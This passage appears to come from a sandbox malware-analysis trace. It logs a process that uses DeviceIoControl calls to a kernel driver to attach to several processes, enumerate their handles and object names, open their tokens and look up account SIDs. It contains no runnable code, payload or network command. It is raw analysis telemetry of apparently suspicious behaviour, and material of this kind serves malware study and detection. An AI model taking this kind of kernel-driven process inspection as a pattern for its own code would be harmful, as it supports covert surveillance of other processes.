ProcessId=0x900, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.141] PsAcquireProcessExitSynchronization () returned 0x0 [0074.141] KeStackAttachProcess (in: PROCESS=0xfffffa8002052460, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002052460, ApcState=0xfffff880054f85d0) [0074.141] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002052d90, HandleInformation=0x0) returned 0x0 [0074.141] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.141] PsReleaseProcessExitSynchronization () returned 0x2 [0074.141] ObfDereferenceObject (Object=0xfffffa8002052460) returned 0x10 [0074.141] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800398a044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800398a044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.141] ObfDereferenceObject (Object=0xfffffa8002052d90) returned 0x1 [0074.141] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.141] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.141] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.141] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0074.141] PsLookupProcessByProcessId (in: ProcessId=0x900, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.141] PsAcquireProcessExitSynchronization () returned 0x0 [0074.141] KeStackAttachProcess (in: PROCESS=0xfffffa8002052460, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002052460, ApcState=0xfffff880054f85d0) [0074.141] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020401a0, HandleInformation=0x0) returned 0x0 [0074.142] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.142] PsReleaseProcessExitSynchronization () returned 0x2 [0074.142] ObfDereferenceObject (Object=0xfffffa8002052460) returned 0x10 [0074.142] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800396c044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800396c044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.142] ObfDereferenceObject (Object=0xfffffa80020401a0) returned 0x1 [0074.142] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.142] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.142] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.142] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.142] PsLookupProcessByProcessId (in: ProcessId=0x900, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.142] PsAcquireProcessExitSynchronization () returned 0x0 [0074.142] KeStackAttachProcess (in: PROCESS=0xfffffa8002052460, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002052460, ApcState=0xfffff880054f85d0) [0074.142] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.142] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.142] PsReleaseProcessExitSynchronization () returned 0x2 [0074.142] ObfDereferenceObject (Object=0xfffffa8002052460) returned 0x10 [0074.142] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80037b5684, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80037b5684, ReturnLength=0xfffff880054f8550) returned 0x0 [0074.142] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.142] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.142] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.142] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x910) returned 0xc0 [0074.142] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.142] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8002067b30, HandleInformation=0x0) returned 0x0 [0074.142] ObOpenObjectByPointer (in: Object=0xfffffa8002067b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a24) returned 0x0 [0074.142] ObfDereferenceObject (Object=0xfffffa8002067b30) returned 0x12 [0074.142] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a24, DesiredAccess=0x8, TokenHandle=0xfffffa80036ac6c0 | out: TokenHandle=0xfffffa80036ac6c0*=0xc8) returned 0x0 [0074.142] ZwClose (Handle=0xffffffff80000a24) returned 0x0 [0074.142] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.142] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.143] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.144] CloseHandle (hObject=0xc8) returned 1 [0074.144] CloseHandle (hObject=0xc0) returned 1 [0074.144] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.144] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.144] PsLookupProcessByProcessId (in: ProcessId=0x910, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.144] PsAcquireProcessExitSynchronization () returned 0x0 [0074.144] KeStackAttachProcess (in: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880054f85d0) [0074.144] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020627a0, HandleInformation=0x0) returned 0x0 [0074.144] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.144] PsReleaseProcessExitSynchronization () returned 0x2 [0074.144] ObfDereferenceObject (Object=0xfffffa8002067b30) returned 0x10 [0074.144] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a0b044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a0b044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.144] ObfDereferenceObject (Object=0xfffffa80020627a0) returned 0x1 [0074.144] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.144] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.144] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.144] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0074.144] PsLookupProcessByProcessId (in: ProcessId=0x910, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.144] PsAcquireProcessExitSynchronization () returned 0x0 [0074.144] KeStackAttachProcess (in: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880054f85d0) [0074.144] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002068800, HandleInformation=0x0) returned 0x0 [0074.145] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.145] PsReleaseProcessExitSynchronization () returned 0x2 [0074.145] ObfDereferenceObject (Object=0xfffffa8002067b30) returned 0x10 [0074.145] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a0e044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a0e044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.145] ObfDereferenceObject (Object=0xfffffa8002068800) returned 0x1 [0074.145] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.145] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.145] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.145] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.145] PsLookupProcessByProcessId (in: ProcessId=0x910, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.145] PsAcquireProcessExitSynchronization () returned 0x0 [0074.145] KeStackAttachProcess (in: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880054f85d0) [0074.145] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.145] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.145] PsReleaseProcessExitSynchronization () returned 0x2 [0074.145] ObfDereferenceObject (Object=0xfffffa8002067b30) returned 0x10 [0074.145] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800391c044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800391c044, ReturnLength=0xfffff880054f8550) returned 0x0 [0074.145] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.145] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.145] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.145] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x920) returned 0xc0 [0074.145] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.145] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa800207e5f0, HandleInformation=0x0) returned 0x0 [0074.145] ObOpenObjectByPointer (in: Object=0xfffffa800207e5f0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a24) returned 0x0 [0074.145] ObfDereferenceObject (Object=0xfffffa800207e5f0) returned 0x12 [0074.145] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a24, DesiredAccess=0x8, TokenHandle=0xfffffa80036ac6c0 | out: TokenHandle=0xfffffa80036ac6c0*=0xc8) returned 0x0 [0074.145] ZwClose (Handle=0xffffffff80000a24) returned 0x0 [0074.145] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.145] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.146] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.147] CloseHandle (hObject=0xc8) returned 1 [0074.147] CloseHandle (hObject=0xc0) returned 1 [0074.147] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.147] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.147] PsLookupProcessByProcessId (in: ProcessId=0x920, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.147] PsAcquireProcessExitSynchronization () returned 0x0 [0074.147] KeStackAttachProcess (in: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880054f85d0) [0074.147] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800207ef20, HandleInformation=0x0) returned 0x0 [0074.148] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.148] PsReleaseProcessExitSynchronization () returned 0x2 [0074.148] ObfDereferenceObject (Object=0xfffffa800207e5f0) returned 0x10 [0074.148] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a30044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a30044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.148] ObfDereferenceObject (Object=0xfffffa800207ef20) returned 0x1 [0074.148] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.148] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.148] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.148] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x6c, lpOverlapped=0x0) returned 1 [0074.148] PsLookupProcessByProcessId (in: ProcessId=0x920, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.148] PsAcquireProcessExitSynchronization () returned 0x0 [0074.148] KeStackAttachProcess (in: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880054f85d0) [0074.148] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001ff5290, HandleInformation=0x0) returned 0x0 [0074.148] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.148] PsReleaseProcessExitSynchronization () returned 0x2 [0074.148] ObfDereferenceObject (Object=0xfffffa800207e5f0) returned 0x10 [0074.148] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a11044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a11044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.148] ObfDereferenceObject (Object=0xfffffa8001ff5290) returned 0x1 [0074.148] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.148] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.148] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.148] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.148] PsLookupProcessByProcessId (in: ProcessId=0x920, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.148] PsAcquireProcessExitSynchronization () returned 0x0 [0074.148] KeStackAttachProcess (in: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880054f85d0) [0074.148] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.148] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.148] PsReleaseProcessExitSynchronization () returned 0x2 [0074.148] ObfDereferenceObject (Object=0xfffffa800207e5f0) returned 0x10 [0074.148] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a12044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a12044, ReturnLength=0xfffff880054f8550) returned 0x0 [0074.148] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.149] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.149] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.149] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x930) returned 0xc0 [0074.149] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.149] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8001ff8b30, HandleInformation=0x0) returned 0x0 [0074.149] ObOpenObjectByPointer (in: Object=0xfffffa8001ff8b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a24) returned 0x0 [0074.149] ObfDereferenceObject (Object=0xfffffa8001ff8b30) returned 0x12 [0074.149] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a24, DesiredAccess=0x8, TokenHandle=0xfffffa80036ac6c0 | out: TokenHandle=0xfffffa80036ac6c0*=0xc8) returned 0x0 [0074.149] ZwClose (Handle=0xffffffff80000a24) returned 0x0 [0074.149] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.149] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.149] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.151] CloseHandle (hObject=0xc8) returned 1 [0074.151] CloseHandle (hObject=0xc0) returned 1 [0074.151] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.151] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.151] PsLookupProcessByProcessId (in: ProcessId=0x930, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.151] PsAcquireProcessExitSynchronization () returned 0x0 [0074.151] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880054f85d0) [0074.151] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001fb4830, HandleInformation=0x0) returned 0x0 [0074.151] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.151] PsReleaseProcessExitSynchronization () returned 0x2 [0074.151] ObfDereferenceObject (Object=0xfffffa8001ff8b30) returned 0x10 [0074.151] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a13044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a13044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.151] ObfDereferenceObject (Object=0xfffffa8001fb4830) returned 0x1 [0074.151] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.151] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.151] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.151] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0074.151] PsLookupProcessByProcessId (in: ProcessId=0x930, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.151] PsAcquireProcessExitSynchronization () returned 0x0 [0074.151] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880054f85d0) [0074.151] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001fc7a20, HandleInformation=0x0) returned 0x0 [0074.151] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.151] PsReleaseProcessExitSynchronization () returned 0x2 [0074.152] ObfDereferenceObject (Object=0xfffffa8001ff8b30) returned 0x10 [0074.152] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a14044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a14044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.152] ObfDereferenceObject (Object=0xfffffa8001fc7a20) returned 0x1 [0074.152] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.152] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.152] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.152] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.152] PsLookupProcessByProcessId (in: ProcessId=0x930, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.152] PsAcquireProcessExitSynchronization () returned 0x0 [0074.152] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880054f85d0) [0074.152] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.152] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.152] PsReleaseProcessExitSynchronization () returned 0x2 [0074.152] ObfDereferenceObject (Object=0xfffffa8001ff8b30) returned 0x10 [0074.152] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a06044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a06044, 